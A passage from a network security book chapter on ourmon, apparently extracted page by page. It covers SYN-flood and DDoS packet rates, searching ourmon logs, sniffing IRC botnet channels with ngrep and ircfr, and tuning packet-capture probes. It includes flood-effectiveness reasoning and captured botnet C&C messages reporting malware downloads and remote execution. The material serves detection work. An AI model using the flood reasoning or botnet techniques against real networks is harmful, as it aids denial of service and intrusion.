IP\nheader and a TCP header, typically only 40 bytes in all. In addition to small,\nSYN packets can, of course, cause the receiving operating system to have\nproblems processing them because the operating system might want to\nbelieve that the remote host is sincere about starting a TCP connection.This\ncan exhaust resources on the target’s operating system because there will be a\nhigh number of half-open sockets. Of course, in this case the remote hosts\nare the complete opposite of sincere.\nIn this case the drops trigger worked, probably due to the overwhelming\nnature of the attack. Most if not all of the packets received were part of the\nattack. We were lucky that we were able to get the IP address and port\nnumber of the attacked system. Evidence seems to indicate that the attackers\nwere from multiple sites and were in fact likely a botnet being used to launch\na DDoS attack. One must not forget that with such an attack, IP spoofing\n(meaning fake IP source addresses) is a possibility. One-way attacks do not\nrequire two-way conversations.\nNotes from the Underground…\nHackers, DoS, and Packet Size\nRemember the Hacker Rule of Economy we mentioned previously? It\napplies to DoS attacks, too. The goals from the dark side include sending\nas many useless and harmful packets as fast as possible. Sending one TCP\nSYN packet a minute might work for scanning, but it would not be much\nof a DoS attack. With a gigabit Ethernet connection, one can receive\napproximately 1.5 million packets per second (pps). If you have a 100-\nmegabit Ethernet connection, divide by 10, so 150,000pps are possible.\nTen megabits means the best small packet throughput would be\n15,000pps. More worrisome, a 10-gigabit Ethernet connection could\npotentially receive 15 million pps! Ouch. This is a doable number with a\nbotnet of a certain size. On the other hand, for gigabit Ethernet, using\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n323\nContinued\n" }, { "page_number": 342, "text": "the maximum Ethernet packet size of around 1500 bytes, we only get\n81,300 pps. These days your garden-variety PC can handle 81,300 pps, so\na hacker is not going to send 1500-byte packets. \nThe implications here are clear. Small packets are nasty for the\nreceiving host or network. NICs on the receiving side and host operating\nsystems could be overwhelmed due to interrupts and other problems.\nIntermediate smaller systems like routers, wireless access points, and the\nlike, if not robust enough, might also have severe problems. Although\nthis won’t help everyone, Cisco has some suggestions for making its sys-\ntems more robust, including using its TCP intercept feature. For example,\nsee http://cio.cisco.com/warp/public/707/4.html or http://cio.cisco.com/\nunivercd/cc/td/doc/product/software/ios113ed/113ed_cr/secur_c/scprt3/\nscdenial.htm.\nIn general, dealing with these kinds of attacks is very difficult, and\nit is a problem that’s far from being solved.\nOurmon Event Log\nIn this section we briefly discuss the ourmon event log, which we introduced\nin the previous section. Ourmon stores various front-end probe and back-end\n“events” of interest in the event log. For the most part, events are either\nimportant security events or important system events such as probe reboots.A\ndaily log of events is created and placed on the Web for reference.The event\nlog can be found on the main Web page. Refer back to Figure 7.1 and note\nthat the daily event log and yesterday’s event log are available for quick refer-\nence under the important security and availability reports/web pages heading.The\nweek’s worth of event logs is available at the bottom of the main page as\nshown in Figure 7.3. Like every other log in ourmon, the event log is also\nsaved for a week and rotated at midnight.\nRoughly anything that is deemed highly important is put in the event log,\nincluding the following types of events:\n■\nImportant probe events like reboots and trigger-on and -off messages\n■\nBack-end software problems, including taking too much time to pro-\ncess the 30-second probe outputs\n■\nBack-end anomaly detection events\nwww.syngress.com\n324\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 343, "text": "Any event log message starts with a timestamp, followed by the event mes-\nsage itself, which can come from any part of the ourmon system. For\nexample, we previously saw a UDP work weight threshold message that\nstarted like this:\nTue Oct 10 03:20:00 PDT 2006: udpweight threshold exceeded:192.168.125.43\nNote the time of the event, which is followed by an explanation of the\nevent and other data. Given our focus on anomaly detection, the anomaly\ndetection events are of the most interest.These include the UDP work weight\nthreshold event and the trigger-on and -off messages mentioned previously. In\naddition, we have two events that can come from the IRC software:\nbotnet client mesh?: irc channel X has bad #hosts:\nbotserver?: irc channel X has #hosts:\nThe first message is trying to alert you to an evil botnet channel that has\nat least three scanning hosts.The second message alerts you to the possible\npresence of a bot server on campus. In both cases, X is replaced by the actual\nchannel name. If you see these messages, go straight to the IRC data page and\ncheck out what is happening.\nIn general, see the ourmon help page (info.html) for more information on\nthe event log.This page also includes information on how to change the\nbotnet-related event log constants that trigger these two messages.\nIn summary, the event log is something you should check daily. If an\ninteresting anomaly-related event occurs, you might want to either refer to\nvarious sections of ourmon for more details, including your IRC logs\n(Chapter 8) and tcpdump packet traces as discussed in this chapter, or possibly\nyour TCP port report summarizations and logs (Chapter 7 and the next sec-\ntion).\nTricks for Searching the Ourmon Logs\nA couple of basic tricks can be useful for searching for information in both\nthe ourmon Web directory and in the ourmon log directory. Consider the\nfollowing two questions:\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n325\n" }, { "page_number": 344, "text": "1. Given that you know that IP address 10.10.10.10 is suspicious, how\ncan you search any and all ourmon data to find out more about it?\nLet’s call this the IP search question.\n2. Given that the TCP worm graph (as in “Case Study #2: External\nParallel Scan”) has a large spike in it, just how do you find the associ-\nated TCP port report for that time so you can see details about the\nscan? Let’s call this the port report search question.\nSo let’s address the IP search question first. Log in to the back-end system\nand locate the two directories in which ourmon data is stored (barring the\nRRDTOOL data). We have either the Web pages directory or the logs direc-\ntory (which is not available on the Web).Assuming you installed ourmon in\n/home/mrourmon, those two directories would be:\n■\n/home/mrourmon/web.pages – symlink to real Web directory\n■\n/home/mrourmon/logs – logging directory\nOf course, we are going to use the Unix grep pattern-matching tool for\ndoing the search. For the Web directory, we might do something like the fol-\nlowing:\n# cd /home/mrourmon/web.pages\n# grep 192.168.10.10 *.txt\nThis could work. However, the problem with such a search is that we\nmight get too much data.There is also the problem that you are “peeking\nunder the covers” and looking at web-based reports with their real filenames\nas opposed to their more symbolic hypertext links seen with a Web browser\non the main index.html page. Given our interest in botnets, the two more\ninteresting sets of files are probably the daily IRC report summarizations and\nthe daily syndump summarization that gives you summarized home network\nTCP port report information.You might also be interested in the summarized\nfiles for the TCP port report itself, which includes both local and remote\naddresses.\nFor example, for IRC data, the daily file is called ircreport_today.txt, and the\nprevious day’s file is called ircreport.0.txt, followed by ircreport.1.txt for yes-\nterday, and so on. For the syndump reports, today’s file is called\nwww.syngress.com\n326\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 345, "text": "syndump.daily.txt, and the previous day’s file is called syndump.0.txt, followed by\nsyndump.1.txt, and so on. For unfiltered TCP port reports based on nonzero\nTCP work weights, the daily file is called wormsum.all_daily.txt.Yesterday’s file\nis called wormsum.all.0.txt, and so on. In all cases, 0.txt means yesterday, 1.txt\nmeans the day before yesterday, and the like. Now, armed with that knowl-\nedge, we could do something more focused, such as first searching all the\nIRC summarizations and then the syndump summarizations for a particular\nIP address to see what it had been doing for the last week:\n# grep 192.168.10.10 syndump*txt\nWith the IRC data, we might get something like the data shown in Table\n9.1. (For formatting reasons, some data has been excised and the output has\nbeen expressed as a table with a header.) \n# cd /home/mrourmon/web.pages\n# grep 192.168.10.10 ircreport*txt\nTable 9.1 IRC Data Search\nIp_src\nStats Maxworm Server?\nSport/dport\nFirst_ts\n192.168.10.10 ***\n92\nH\n52045/6667\nSun_Oct_15_\n00:30:40\n192.168.10.10 ***\n92\nH\n52045/6667\nSun_Oct_15_\n00:09:44\n192.168.10.10 ***\n92\nH\n52045/6667\nSun_Oct_\n15_03:01:43\nIn a similar manner, we can grep the syndump files, but each IP host has\nmultiple lines of data. So first we use grep to find relevant files (output not\nshown), and then we can use a text editor to learn something like the fol-\nlowing from one or more files:\n# cd /home/mrourmon/web.pages\n# grep 192.168.10.10 syndump*txt\n# vi syndump.daily.txt\n192.168.10.10\nWORM\nIw\n(\n0:\n4:100:)\n0: (3/1) (3:3:0) (215:392)\ndns: randomhost.university.edu\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n327\n" }, { "page_number": 346, "text": ":2309: Sun_Oct_15_00:02:47_PDT_2006: Sun_Oct_15_23:01:42_PDT_2006:\nportuples[10]: [80, 477022][6667, 6421][995, 5873][8080, 3802][5190,\n1314][993, 1098][443, 612][8000, 218][3127, 138][800, 45]\nAnother possibility is to simply use grep –A 4 on the IP address, with no\nneed for a text editor, as follows (the result should be the same):\n# grep –A 4 192.168.10.10 syndump*txt\nSince we saw a high scanning value in the IRC data, we also might\nchoose to examine individual TCP port report files in the log directory.\nRemember, these are 30-second report files.This can help us learn more\ndetails about the scanning behavior of this host. In this case we go to the\n/home/mrourmon/logs/portreport/Sun directory and use the find command\nto do a grep across those files.The Unix find command is useful here because\nit is often the case that there are too many files in a log directory and simpler\ncommands like ls will not work. Find always works. So, for example, we might\ndo something like the following to get individual 30-second port report data\n(see Table 9.2):\n# cd /home/mrourmon/logs/portreport/Sun\n# find . | xargs grep 192.168.10.10\nTable 9.2 TCP Port Report File Search\nPort \nIp_src\nFlags\nApps Work\nSA/S\nL3D/L4D L4S/src\nSnt/rcv Signature\n192.168.10.10\nWO\n94\n0\n4/2\n6/65490\n34/1\n[5190,2]\n[8080,97]\n192.168.10.10\nWO\n92\n0\n3/3\n6/64956\n30/1\n[6667,6]\n[8000,90]\n192.168.10.10\nwO\n79\n0\n2/2\n5/65515\n26/3\n[6667,11]\n[8000,85]\nAgain we have cleaned this data up for formatting reasons and eliminated\nsome fields.The entries are sorted in increasing order of time because the files\nare stored with the filename and timestamp matching. We can thus search the\nindividual TCP port reports and watch what happens over time. In effect, you\ncan play the data back. From an analysis point of view, we can see that there\nwww.syngress.com\n328\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 347, "text": "really were high work weights (94, 92, 79). Our host was sending about one\npacket per second, and the destination ports 8080 and 8000 were the target.\nThe target did not seem to be sending many packets back.There is one more\npoint we can make: We still didn’t figure out exactly what the host was doing.\nGiven the ports in question, it is possible that this host was scanning for open\nWeb relay hosts, which are often used for sending spam. If the host is active at\nthis point, you might go and look at Layer 7 payloads with a sniffer. For\nexample, you can use tcpdump as we mentioned or ngrep, which we will dis-\ncuss briefly in the next section.\nRegarding the port report search question, one trick worth mentioning is\na somewhat sneaky way to search the port report logging directory. If you\nhave a case like Case Study #2 with a dominant scanner count spike in a par-\nticular day, you really want to find the biggest port report file in that day.This\nis because there is one line per IP address in the 30-second port report file.\nSo, given one line per IP address, obviously the scan in Figure 6.3 will pro-\nduce the largest files in the directory for that day. We use the wc (word count)\nutility to determine the lines in each file, and we sort by that output like so:\n# cd /home/mrourmon/logs/portreport/Fri\n# find . |\nxargs wc –l\n| sort\n…\n196 ./Tue_Jan_18_01:24:03_PDT_2005.portreport.txt\n509 ./Tue_Jan_18_01:24:33_PDT_2005.portreport.txt\n2214./Tue_Jan_18_01:25:04_PDT_2005.portreport.txt\nThe sort makes the largest file come out last. When examined, this file\n(the one with 2214 lines) showed one IP address as the target for many\nexternal hosts. which were all doing the same form of attack.Thus the port\nreport file itself fingered the target IP host. In general, parallel scans or DDoS\nattacks will result in large port report files.\nSniffing IRC Messages\nSometimes the IRC reports mentioned in Chapter 7 are not enough infor-\nmation to help you find possible botnet-related IRC channels.You have\nlearned two analysis techniques so far:\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n329\n" }, { "page_number": 348, "text": "1. Look for evil channels and you can assume that more than a handful\n(two or more) that are scanning IP hosts means you probably have a\nscanning botnet.\n2. Look for channels that you have never seen before and then keep an\neye on new names.\nHowever, the latter point is vague.The question is, can you do anything\nabout a possible bot-related IRC channel before it attacks? One thing we can\ndo is branch out from ourmon and use other tools to keep an eye on packet\npayloads. For example, we can choose to watch a suspicious IRC channel\nwith a tool like ngrep and try to figure out what is going on with that\nchannel.That might work, or it might fail because the interesting events\nalready happened or nothing is happening now.Another possible tool is to use\na small sniffer supplied as an ourmon tool in the ourmon release called ircfr\n(IRC flight recorder) that records all IRC traffic. With ircfr, if you find a sus-\npicious channel (say, #y3## for a channel name), you can go back in time\nand check out yesterday’s log to see what messages, if any, appeared.This\ncould help you decide if an IRC channel is benign or “botty.”\nNotes from the Underground…\nLost Botnet Hosts\nA botnet host might or might not be used for an attack., so keep in mind\nthat it is always possible that the host might belong to a botnet (and\nthere might be IRC PING and PONG messages), but it might just sit there\nwaiting for orders. These orders might never come; the owner of the\nbotnet might be in jail or on a fishing trip. Another possibility is that the\nowner might have lost track of the botnet host or simply chooses to not\nuse it, for some reason. For example, a botnet server might exist but be\nunavailable to the hacker controlling it. This might be because a com-\nmunication channel to the botnet server was blocked at a router or fire-\nwall. So, don’t be surprised if a botnet host just sits there. Sometimes\nsuch hosts are passive. Sometimes they could be attacking in a subtle\nwww.syngress.com\n330\nChapter 9 • Advanced Ourmon Techniques\nContinued\n" }, { "page_number": 349, "text": "way. For example, the botnet software might be spyware, recording\nkeystrokes and sending them out on some channel you don’t know\nabout. Or the host might sit there today and join a DDoS attack\ntomorrow. \nThe ngrep tool is a nice custom sniffer that can be used to pick ASCII\nstrings out of packet data payloads. It can be used for watching for messages\nfrom a known C&C botnet IP address. It can also be used with pattern\nmatching since it has grep regular expressions (really, Perl Compatible Regular\nExpressions, or PCRE; see www.pcre.org) built into it. It can also read and\nwrite tcpdump format files. Here we will just give a few syntax examples,\nexplain them, and then look at one example of ngrep in combat.\nThe overall syntax for ngrep has the form:\n# ngrep –flags \"pattern\" tcpdump-expression\nHere are three examples. First:\nngrep –q host 10.0.0.1\nWe use –q to make ngrep quiet, so it only prints out strings.The host\n10.0.0.1 part is a tcpdump expression to tell it to print strings for any packets\nto and from that particular host.This expression format is the same for other\nsniffers, too, including tcpdump and WireShark (and Snort and ourmon, for\nthat matter). Our goal is to watch traffic to and from the suspicious host in\nquestion.This might be IRC traffic or HTTP traffic or something else\nentirely.\nSecond:\nngrep –q \"PRIVMSG|JOIN\" host 10.0.0.1 or host 10.0.0.2\nIn this case we want any packet with PRIVMSG or JOIN in it from two\npossible hosts.These both might be botnet servers. We are trying to use pat-\ntern matching to look at interesting IRC messages, and this pattern would\nrule out any PING or PONG messages or other types of IRC messages.\nThird:\n# script\nserverip.log\n# ngrep –q host 10.0.0.1\n# Cntrl-D\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n331\n" }, { "page_number": 350, "text": "In this third example, we show how to use the Unix script command to\ncreate a log of any ngrep output.This allows you to leave the computer\nwithout worrying about interesting information scrolling off the screen. Script\nrecords all output in a file called typescript by default in the local directory.\nControl-D is end of file, which terminates the script session. Script can take an\nargument like serverip.log so that you can choose the filename for logging and\navoid the default filename typescript.\nSo, what might we see? Given our first example, you could see something\nlike this:\nT 192.168.1.1:1036 -> 10.0.0.1:7007 [AP]\nPRIVMSG ##xploit :.e.(1.0b) ( tftpd.m.d.l ) ....\nFile sent to 192.168.1.\n70, executing C:\\WINDOWS\\System32\\winPE.exe on remote machine...\nT 192.168.1.1:1036 -> 10.0.0.1:7007 [AP]\nPRIVMSG ##xploit :.e.(1.0b) ( ftp.m.d.l ) ....\nFile sent to 192.168.1.70\n, executing C:\\WINDOWS\\System32\\winPE.exe on remote machine...\nIf you have any doubts about this you could always search the Internet for\nwinPE.exe. In that case, you will find\nhttp://www.sophos.com/security/analyses/w32rbotajl.html to make for\ninteresting reading.\nNgrep is telling us that TCP is being used (T) and that packets are going\nfrom 192.168.1.1 at port 1036 to the remote (botnet server!) 10.0.0.1 at port\n7007.The channel name is #xploit and the message is rather alarming.\nApparently a new system has just been exploited, and some file named win\nPE.exe has been downloaded to it.\nNgrep is a fine tool and can be used to watch current targets or used with\npreviously stored tcpdump format information.\nOn the other hand, one might find something suspicious in a previous\nourmon IRC summarization (see Table 9.3).\nwww.syngress.com\n332\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 351, "text": "Table 9.3 Ourmon IRC Summarization: Channel #y3##\nMsg \n#y3##\nStats Maxworm\nServer? Sport/dport\nFirst_ts\n192.168.2.3\n53\n54\nH\n2366/28555\nOct_16_22:\n18:46_PDT\n10.0.0.1\n53\n66\nS\n28555/2366\nOct_16_22:\n18:46_PDT\nSo the problem is that we have a very small IRC network with one local\nhost and a very strange channel name. We had not seen this channel name\nbefore.The work weight is of a middle value and is not a smoking gun in\nterms of scanning. If the local client 192.168.2.3 had a work weight of 99, we\ncould be more confident about scanning behavior.Assume that this channel\nappeared yesterday. We don’t happen to have yesterday’s packets to help us\ninvestigate what was actually going on. Here we can use the ircfr IRC flight\nrecorder program to see what if anything might be learned about suspicious\nborderline channels such as this one.\nThe program ircfr is a sniffing tool supplied with ourmon. It is new and as\na result is rather primitive. It can be found in\n/home/mrourmon/src/tools/ircfr. See the README in that directory for\ninstallation.The basic idea is that it captures IRC payloads (PRIVMSG or\nJOIN) and stores them in a few days’ worth of files.The file for yesterday is\ncalled ircfr.yesterday.txt.The file for today is called ircfr.today.txt,At midnight the\nfile for today is moved to become the file for yesterday.Then ircfr is restarted\nto capture today’s output.All we really need to do is find the stored files for\nircfr and use grep to pick out the channel name as follows:\n# grep \"channel=#y3##\" ircfr.yesterday.txt\nircfr.yesterday.txt:\nIRCMSG: PRIVMSG: s=192.168.2.3 -> d=10.0.0.1\ndport=28555 sflag=0, channel=#y3## clen=5: p=[PRIVMSG ##y3## :[DOWNLOAD]:\nDownloaded 175.5 KB to c:\\windows\\system32\\winl0gon.exe @ 175.5 KB/sec.]\nThe packet payload is an IRC PRIVMSG command with data.The data\ntells us that a piece of malware called winl0gon.exe was downloaded. So\n#y3## is a botnet channel.\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n333\n" }, { "page_number": 352, "text": "Optimizing the System\nOne problem that you can have with a tool like ourmon or Snort is perfor-\nmance. Performance problems can occur because the system has too much\nload or there are many scanners, or possibly worst of all, because you are the\ntarget of a large DDOS attack. So what can be done? Of course, you could\nturn filters off in ourmon, or you could give Snort less signatures. In other\nwords, you give the system less work to do. But that isn’t helping you get\nyour job done, and it also is not very secure. With ourmon you might turn\noff a feature that otherwise might show an important anomaly. With Snort\nyou might turn off a signature that would otherwise have detected the next\nSQL slammer attack. So in this section we will look at some ways to paral-\nlelize the ourmon system. We should point out that some of these techniques\napply to sniffers in general, not just the ourmon probe.\nBefore we discuss our speedup efforts, first look at Figure 9.1, which\nshows the operating system architecture for the way packets are read by\nsniffing applications such as ourmon’s probe.\nFigure 9.1 Operating System Packet-Sniffing Architecture\nTraditional operating systems such as FreeBSD and Linux have approaches\nthat differ in details but are actually pretty similar in the way packets arriving\nwww.syngress.com\n334\nChapter 9 • Advanced Ourmon Techniques\nKernel\nNetwork\nDevice Driver\nPackets from Network\nOurmon\nProbe\nApplication\nOperating System\nPacket Queue\nInterupt Priority Level\nApplication Priority Level\n" }, { "page_number": 353, "text": "from the network are handed off to sniffing applications.The basic idea is that\nthe NIC may interrupt (or be read by polling, ultimately driven from a hard-\nware clock interrupt) and then some number of packets are read in and\nplaced in operating system buffers (not shown).These buffers are then copied\nto a ring buffer of a certain size inside the kernel. Conceptually the ring\nbuffer is a queue.The application can then use the read system call to read the\nqueued packets from the ring buffer and process them.This is actually a very\ntraditional operating system design model called the producer-consumer model.\nThe producer is the operating system, which includes both the NIC driver as\nwell as the ring buffer code that stuffs packets into the queue.The consumer\nis the ourmon probe application.\nOne very general problem is that for important reasons, the operating\nsystem will run before applications run; otherwise the operating system might\nnot be able to service the applications. Here this could mean that the device\ndriver might be so busy stuffing packets into the ring buffer that the applica-\ntion never gets to read any packets out of the ring buffer.This can easily\nhappen with a single-CPU system. Interrupts can also play a harmful role. If\ntoo many packets are coming in too fast (say, with a small-packet DDOS\nattack), the NIC might simply lock up the entire system.The system only\nprocesses interrupts and more or less nothing else happens.This is a form of\ndeadlock called livelock (not dead, but not doing anything useful either). Now,\ngiven the big picture, let’s turn and look at various optimization techniques.\nBuy a Dual-Core CPU for the Probe\nOne possible approach to parallelization is rather easy these days and is\nbecoming cheaper all the time. Both AMD and Intel now have computers\nwith dual-core processors. Dual-core means that with a symmetric multipro-\ncessing (SMP) operating system, you will effectively run the NIC on one\nCPU and the ourmon probe on the second.The outcome is that you avoid\nthe situation where they are contending for one CPU (and the application\nalways loses).This can help a lot and should be standard practice for anyone\nrunning an important sniffing application. If you get a dual-core CPU, make\nsure that the operating system is actually using SMP! It won’t do you much\ngood if you have the hardware but forgot to enable the software.\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n335\n" }, { "page_number": 354, "text": "Separate the Front End and Back \nEnd with Two Different Computers\nOurmon’s configure.pl application (which we discussed in Chapter 6) sepa-\nrates the installation of the front-end probe and back-end processing software.\nSo, you can install the front end on one computer and install the back end on\na different computer.As a result, by definition they will not compete for one\ncomputer.Then arrange somehow for the front end’s output files to be trans-\nferred using TCP (for reliability) to the back-end computer. We typically run\na small Web server on the probe and use the well-known wget application to\ncopy the files.You could also use Secure Shell (www.openssh.org) in batch\nmode with no passphrase. Our wget approach can be found in the back-end\nscript /home/mrourmon/bin/omupdate.sh and simply needs to be com-\nmented in with a suitable IP address for the probe. It is a good idea to use an\naccess control list on the probe to make sure that only the back-end host can\naccess it to get the files. (It is also a good idea to make sure that no external\nhost can talk to the probe.)\nBuy a Dual-Core, Dual-CPU Motherboard\nIf you buy a dual CPU where each CPU is actually dual-core, SMP operating\nsystems will think you have four CPUs.This way you can run all of ourmon\non one system, both front end and back end. One hardware thread is for the\nNIC reading packets; one is for the probe application.A third thread will be\nused by Perl, which runs the back-end code, for the most part.This leaves you\none NIC, possibly for running a program like ngrep, ircfr, or Snort. In the\nfuture we hope to have a threaded ourmon probe; four logical CPUs will be\nneeded for such software.\nMake the Kernel Ring Buffer Bigger\nWe have found in our lab that a large kernel buffer size will sometimes help\nreduce the number of dropped packets.This doesn’t always work, but it has\nworked often enough that if you have drops, this is the first thing to try. If it\ndoesn’t work, maybe you need new hardware. First find the shell script that is\nused for starting ourmon and then modify the kernel buffer size parameters\nwww.syngress.com\n336\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 355, "text": "in it to make them bigger.You need to do this based on data gathered with\nthe pkts filter pictured in Figure 6.1. If you see that you consistently have\ndrops and these drops are in the thousands, that could mean that the probe is\nnot getting to run enough and packets are piling up in the kernel buffer but\nnot getting read out in time. So, find the ourmon.sh script used to start\nourmon. For example, on FreeBSD or Linux, the ourmon startup script used\nto boot the probe might exist in one of the following spots (make sure you\nmodify the one you actually use):\n■\nFreeBSD/Linux /home/mrourmon/bin/ourmon.sh or\n/usr/local/mrourmon/bin/ourmon.sh (depending on the install\ndirectory)\n■\nFreeBSD /usr/local/etc/rc.d/ourmon.sh (boot startup directory)\n■\nLinux /etc/initd/ourmon.sh (boot startup directory)\nEdit the script and find the two parameters just before the ourmon probe\n(called ourmon) is started.This will be in the function called start_om(). For\nexample, on a FreeBSD 5.X system, you might see the following:\nstart_om()\n{\nsysctl -w debug.bpf_bufsize=8388608\nsysctl -w debug.bpf_maxbufsize=8388608\nOn both Linux and FreeBSD, two sysctl command calls are used to set the size\nof the kernel buffer. Stop ourmon, modify the two calls, and then restart\nourmon. Here we want to change both instances of 8388608 to twice as big,\nsay, 16777216. What you have done is increase the size of the kernel buffer\nfrom 8 megabytes to 16 megabytes. Don’t be shy about the size here. Sixteen\nmegabytes in a modern computer is nothing in terms of size. See if this\nchange has a positive effect on the drops; sometimes it will prove effective, but\nsometimes you simply don’t have enough CPU horsepower.\nReduce Interrupts\nIf a DDoS attack shows up, your ourmon or Snort probe might be having a\nbad day at the office. Most modern NICs will not turn one packet into one\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n337\n" }, { "page_number": 356, "text": "interrupt. But remember that with a 1Gbit NIC, you can potentially get\nroughly 1.5 million small packets per second.Therefore, your host operating\nsystem could lock up processing interrupts and nothing will get done. On\nLinux it is likely that no operator actions are needed due to the kernel’s new\nAPI (NAPI) architecture for network device drivers. NAPI was designed to\nmitigate the livelock problem we mentioned previously. On the other hand,\nwith 6.X FreeBSD systems, device polling might be turned on in the oper-\nating system and used with drivers that support it.The basic idea behind\ndevice polling is that a particular device driver will no longer interrupt.\nInstead, clock interrupts will cause the operating system itself to poll the\ndevice for packets.Although we aren’t going to explain BSD kernel configu-\nration here (one good place to start to learn about that is to look at the sup-\nplied BSD documentation with a Web browser), the rough idea is as follows:\n1. Configure the kernel by turning on device polling, and set the HZ\nrate to 1k or 2k.The latter is better for high rates of packets.\noptions DEVICE_POLLING\noptions HZ=2000\n2. Once the kernel is reinstalled and rebooted, turn on the polling\noption for the device. For example, if we have an Intel gigabit card\nand the NIC’s interface name is em, the following will turn polling\non:\n# ifconfig em0 polling\nThe result here might look something like Figure 6.2 in Chapter 6.\nWithout polling, the probe could not have captured this spike.\nwww.syngress.com\n338\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 357, "text": "Summary\nIn this chapter we looked at various techniques that either help the analyst\nreduce “the fog of war” or help make the ourmon system more efficient.\nEfficiency might be needed in the face of attack or because the system is\ndoing too much work for the local computer platform.Techniques that help\nwith analysis include the trigger mechanism, which helps us automatically\ndump interesting packets to a tcpdump-style file, as well as the associated\nevent logging that goes with it. Event logging gives us trigger-on and -off\nmessages and can include important ourmon system events. We also looked at\nanalysis of data files in the Web directory or the log directories.The logs are\nnot online, but they are used for some of the Web-based summarizations. In\naddition, they can be searched and at times can provide important clues about\nborderline behavior. Finally, we looked at various optimization techniques.\nMost of these techniques are aimed at improving the performance or robust-\nness of the front-end probe. If we make the probe faster, we can make it do\nmore work. Hopefully we can also make it more robust in the face of large-\nscale DoS attacks.\nSolutions Fast Track\nAutomated Packet Capture\n\u0002 Ourmon has an automated packet-capture feature that allows packet\ncapture during certain types of anomalous events.\n\u0002 Automated packet capture is turned on in the probe config file. In\ngeneral, you must create a dump directory and specify a threshold\nnumber and packet count for each trigger you use.\n\u0002 Trigger-on and -off events are logged in the ourmon event file,\nwhich you can find from the main Web page (both at top and\nbottom).\n\u0002 Triggers of interest for anomaly detection include the trigger_worm\ntrigger, the UDP work weight trigger, and the drops trigger.\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n339\n" }, { "page_number": 358, "text": "\u0002 The trigger_worm trigger is used to capture packets when the supplied\nthreshold of scanning IP hosts is exceeded.\n\u0002 The UDP work weight trigger is used for capturing packets when the\nsupplied threshold (a UDP work weight) is exceeded. Packets are\ncaptured per host.\n\u0002 The drops trigger is used to capture packets when a supplied dropped\npacket threshold is exceeded.This trigger has a poor signal-to-noise\nratio and is more likely to succeed if most packets are DoS attack\npackets. However, the probe system itself might fail under these\ncircumstances.\n\u0002 Captured packets can be viewed with a sniffer such as tcpdump or\nWireShark.\nOurmon Event Log\n\u0002 The event log records both probe and back-end events of interest.\nThe goal of the event log is to store significant security-related events\nas well as important ourmon system events.\n\u0002 Note that the event log stores both bot client mesh detection and bot\nserver detection events.\n\u0002 The event log is rolled over at midnight to become the previous day’s\nevent log. Event logs for roughly a week are kept by the system and\nmade available at the bottom of the main Web page.\nTricks for Searching the Ourmon Logs\n\u0002 Log information in ourmon exists in two directories: the Web\ndirectory on the back-end graphics system or the log directory.\nDepending on installation path, the Web directory might be\n/home/mrourmon/web.pages, and the logging directory might be\n/home/mrourmon/logs.\nwww.syngress.com\n340\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 359, "text": "\u0002 In the Web directory, IRC summarizations are stored in\nircreport_today.txt (today) and ircreport.0.txt (yesterday),\nircreport.1.txt (day before yesterday), and so on.\n\u0002 In the Web directory, syndump (all local host) TCP work weight\ninformation is stored in syndump.daily.txt (today), syndump.0.txt\n(yesterday), and so on.\n\u0002 In the Web directory, normal TCP work weight information is stored\nin wormsum.all_daily.txt, wormsum.all.0.txt, and so on.\n\u0002 TCP work weight summarization files and IRC files can be searched\nwith grep.\n\u0002 TCP work weight summarization files currently have four lines per\nIP address, so grep –A 4 could be very useful.\n\u0002 Searching the TCP port report logs (or the UDP port report logs)\nfound in /home/mrourmon/logs/portreport (TCP) or\n/home/mrourmon/logs/udpreport (UDP) with find and grep can\nshow behavior of an attacking system over time.\n\u0002 Searching the TCP port report log with find, wc, and sort can easily\nfind the biggest file of the day.This file can often be correlated with\npeaks in the RRDTOOL worm graph.\nSniffing IRC Messages\n\u0002 Ngrep is a sniffer designed to search for string patterns, primarily in\nLayer 7 payloads.\n\u0002 It can often be used to look at IRC traffic to and from suspicious IP\nhosts.\n\u0002 Ourmon also includes an additional sniffer called the IRC Flight\nRecorder (ircfr) that can be used to log all IRC data.This allows the\nsecurity engineer to look up suspicious IRC hosts or channels in\nborder-line anomaly detection cases to determine whether the host\nor channel is benign or evil.\nwww.syngress.com\nAdvanced Ourmon Techniques • Chapter 9\n341\n" }, { "page_number": 360, "text": "Optimizing the System\n\u0002 Ourmon and other systems (like Snort) rely on packet sniffing, which\nis modeled in conventional operating system theory as the consumer-\nproducer problem.The operating system produces packets and shoves\nthem in an OS queue, and the application (the ourmon probe) reads\nthem out and finally processes them.\n\u0002 High packet rates can lead to problems due to the operating system\nside either not allowing the application to run or livelocking due to\ntoo many interrupts.\n\u0002 One performance improvement is to use a dual-core CPU, which\ngives one CPU for interrupts and one for application processing\nunder an SMP operating system.\n\u0002 Dual-core, dual-CPU systems can allow all of ourmon to run\nefficiently on one CPU.\n\u0002 If packets are being dropped, it might help to make the operating\nsystem queue bigger.\n\u0002 If packets are being dropped, it might help on FreeBSD to try polled\nI/O in the NIC driver.\nwww.syngress.com\n342\nChapter 9 • Advanced Ourmon Techniques\n" }, { "page_number": 361, "text": "Q: Is Linux or FreeBSD better for a probe? \nA: This is a good question.There are some tradeoffs here. For example, with\nLinux there are more people working on more network device drivers or\nsupporting them than for FreeBSD. On the other hand, the basic sub-\nsystem for getting packets out of the kernel is better with FreeBSD than\nwith Linux. (We have measured this in our lab at PSU with a high-speed\npacket generator.) Phil Wood at http://public.lanl.gov/cpw has a libpcap\nvariation for Linux that pairs libpcap changes with the Linux kernel sup-\nplied memory-mapped ring buffer for packet sniffing, and this system\n(libpcap+kernel) substantially improves Linux performance. We use\nFreeBSD with Intel NICs and insist on at least a dual-core CPU.At this\ntime, we recommend FreeBSD.\nQ: Besides interrupts, are there other possible sources of packet loss? \nA: 